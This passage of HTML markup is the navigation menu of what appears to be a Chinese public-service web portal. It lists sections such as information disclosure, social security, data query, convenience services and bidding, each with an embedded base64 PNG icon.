Zy1j+O++Qq0RLtBQIQBrS8I8AzU8BSZIkSUI0GnRSGGOMMUEYfON8Wp8aPbDRMQXodSGsYQ1r7TbKKKN8fQ0ICHh1pX4O1wEA4PNTr7nExU8xW0iHdEgnm2VRFmXRk5OxQhSiEFX/Yy4uBounp6ueS787II5xjH99TS1GIAKRGXqbJmBdYwrQ+gPMYAYz/b7Rg49FBhlk9bk/+z5F+x3Qgha0Hh6M5h2LBSxgUedaoQCaozmaOz8HCSTQsiPsQhe6399TeyKIIM7QU/NnDlIgBVI4O9PKM/cbIUfFUXFUDg+pSEUqRiKQhzzkd3dHeyihhNLHB0mQBEkcHw+2qs/Pk87rLDqLzqLNxtu8zdvZLGGEEba1NVYMQxjCr6+8x3u8d3nZ8Da8De/Nzbw8Zsz80vwAleC26Xk3Y70AAAAldEVYdGRhdGU6Y3JlYXRlADIwMTktMTAtMjJUMjI6NTA6MDMrMDg6MDDm0Hw7AAAAJXRFWHRkYXRlOm1vZGlmeQAyMDE5LTEwLTIyVDIyOjUwOjAzKzA4OjAwl43EhwAAAEl0RVh0c3ZnOmJhc2UtdXJpAGZpbGU6Ly8vaG9tZS9hZG1pbi9pY29uLWZvbnQvdG1wL2ljb25faWVsa3E0bTFnZGkvc2hvdXllLnN2ZxCCgbMAAAAASUVORK5CYII="
alt="">
<span>首页</span>
</a>
</li>
<li>
<a href="javascript:;" class="havanexta">
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgEAYAAAAj6qa3AAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAAZiS0dEAAAAAAAA+UO7fwAAAAlwSFlzAAAASAAAAEgARslrPgAAAwZJREFUaN7tmc1LKlEYh99zLAijIlpY4cYgWsQsEicq+oCIIlIXQURBtizByIha5La2LQL/gGglQlAWZbSxRUVKyYi0iFoZSCbRIpN05r0Lr/dyE6uprqfbnWd55p057++ZjzPMACgoKPzPELk78BE+wkeqqkRRFEVxeRlqoAZqentJK2klrdXVf1YnEmACE5i2tnAJl3BpfZ0O02E6HA6n1lJrqbVIJFtZPFY8Vjym1UouySW5GhuJgziIY3AQPOABj9GYqVKrs/V4hEd4FI1m5vV66QbdoBuzs36tX+vXxuOfLqDZ1GxqNul0aVfalXbt7JAO0kE6GhoKebZeBAEBLy/FdrFdbO/vD64EV4IrFxcfFsDreB2v43lxVVwVVz0eMkNmyIxGwzpvXg/HeIzH8ThN0RRNmc0BdUAdUB8eyhagX9Av6Bf6+sAIRjC63WSKTJGpsjLWAd8MDzzwDw/SvDQvzY+MnNWd1Z3VeTyvCtDb9Da9rbsbLGABy94esRIrsapUrPO8F/SjH/3pNA3TMA339AS4ABfgfL7s9qIcI6NklIza7WAFK/zDwX/l4QlP+KIiBAQEuz0z+lsAzdljF3ZhN51m3fhngxM4gROimCPo+YAhYUgYEm1tUolUIpX4fFmDrAO8O3j2FkjSJE12dT1/KOZcAdkC4iVe4p2cZB3gw3jBC97p6XyrwavLoKHeUG+ot9mwHMuxfHExM1pRwTrXy9zfYymWYqnDcXpwenB64HTmq5T5Jkhp01XTVdPVwAAdokN0aHOTddQskltyS26zObPcbW//HJVeTSRzGkm1r9pX7X/Bh2QUohBNpd4a/J0Cvh+KANYNsEYRwLoB1igCWDfAGkUA6wZYI19ALdRCbfaN6wtxDddwLb8v2QKezp/On84FAZ3oRGcyyTo3nuAJnjw+ogY1qBGEvy5AmBPmhLmbGxBAAGF8PPM19va24MlboAVaYjEiEIEIFkuwM9gZ7IzF5B5G9n+BfHAcx3FcZWWh8odCoVAodHdXqPkUFL4pPwAx2D8Ai+CTtAAAACV0RVh0ZGF0ZTpjcmVhdGUAMjAxOS0xMC0yMlQyMjo1MDowMyswODowMObQfDsAAAAldEVYdGRhdGU6bW9kaWZ5ADIwMTktMTAtMjJUMjI6NTA6MDMrMDg6MDCXjcSHAAAAS3RFWHRzdmc6YmFzZS11cmkAZmlsZTovLy9ob21lL2FkbWluL2ljb24tZm9udC90bXAvaWNvbl9pZWxrcTRtMWdkaS9mdXpodWFuZy5zdmf/orwCAAAAAElFTkSuQmCC"
alt="">
<span>信息公开</span>
</a>
<ul class="sen-nav">
<li><a href="?action=xxgk">通告公告</a></li>
<li><a href="?action=zcjd">政策解读</a></li>
</ul>
</li>
<li><a href="?action=wjdc">
<img src="data:image/png;base64,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"
alt="">
<span>文件督查</span>
</a></li>
<li><a href="?action=shbz">
<img src="data:image/png;base64,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"
alt="">
<span>社会保障</span>
</a></li>
<li><a href="?action=zxft">
<img src="data:image/png;base64,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"
alt="">
<span>在线访谈</span>
</a></li>
<li>
<a href="?action=sjcx">
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgEAYAAAAj6qa3AAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAAZiS0dEAAAAAAAA+UO7fwAAAAlwSFlzAAAASAAAAEgARslrPgAAAg5JREFUaN7tmL9r6lAUx895PH+FWOrQQqsi1E5Clhu7Cd0KhW5CoP+Cg5ODgzgp4ujk/5C1g+Bi3HRIpjYdaqdu0h9ECreI9LyhtKW1rbyXwOXh/Ww555Lv93wJ4d4LIJFI1hlctYAN2IANbm6wghWspFJ+BWlIQxqenzuqozqqpr3pmMxkpmVhG9vYPjz0rdOhDnXu78OZcCacSaVG6VF6lOb8LwNA1HVd1/XnZ7+GPuJ5tm3btr25+RYAZ5zx62ssYAELe3uBSREQ0NaW7diO7dzefm7/Cnaw/w8ZgGgDopEBiDYgGhmAaAOiWfsAfv/cJqIGNahxcYFTnOJ0d9evIKmkknp5CUUoQvG9jk1sYtN1oQxlKCcSvnUMMsh4eIhH49F49PEREHD1vleyfqz8KPSaXtNrZ2fAgQPf2fErSFnKUvbqyik5Jad0evpaZxM2YZNuF7vYxe7Bge/JQhCCkOdxxhlnx8eu4RquMZ9/XrbiH4AIPehB7+TEt6HXN1poobW/v9RIQhKSR0dggQVWcIehWD/Wj/U3Nl6e5GFoCRmAaAOikQGINiAaGYBoA6KRAfzcJqIxjWk8mwUr63lLpQUsYPFF/V/JQx7y8zmv8iqvPj19t2zlVljTNE3TEolIK9KKtAI4pdWpTvW7u5dr6veBc2bOzJmqqiiKoijb28HozGbfXYdLJBIAAPgD0OTBdY0MpfsAAAAldEVYdGRhdGU6Y3JlYXRlADIwMTktMTAtMjJUMjI6NTA6MDMrMDg6MDDm0Hw7AAAAJXRFWHRkYXRlOm1vZGlmeQAyMDE5LTEwLTIyVDIyOjUwOjAzKzA4OjAwl43EhwAAAFB0RVh0c3ZnOmJhc2UtdXJpAGZpbGU6Ly8vaG9tZS9hZG1pbi9pY29uLWZvbnQvdG1wL2ljb25faWVsa3E0bTFnZGkvY2hhbmdjaWd1YW5saS5zdmcS9qHGAAAAAElFTkSuQmCC"
alt="">
<span>数据查询</span>
</a>
</li>
<li>
<a href="javascript:;" class="havanexta">
<img src="data:image/png;base64,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"
alt="">
<span>便民服务</span>
</a>
<ul class="sen-nav">
<li><a href="?action=flyj">法律依据</a></li>
<li><a href="?action=bszn">办事指南</a></li>
<li><a href="?action=yjzj">意见征集</a></li>
</ul>
</li>
<li><a id="more" href="javascript:;" class="havanexta" data-rel="more">
<img src="data:image/png;base64,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"
alt="">
<span>招标投标</span>
</a>
<ul class="sen-nav">
<li><a href="?action=bsjs">标书检索</a></li>
<li><a href="?action=sxxc">思想宣传</a></li>
<li><a href="?action=bsxz">标书下载</a></li>
<li><a href="?action=zxsb">在线申报</a></li>
</ul>
</li>
<li><a href="?action=logout">
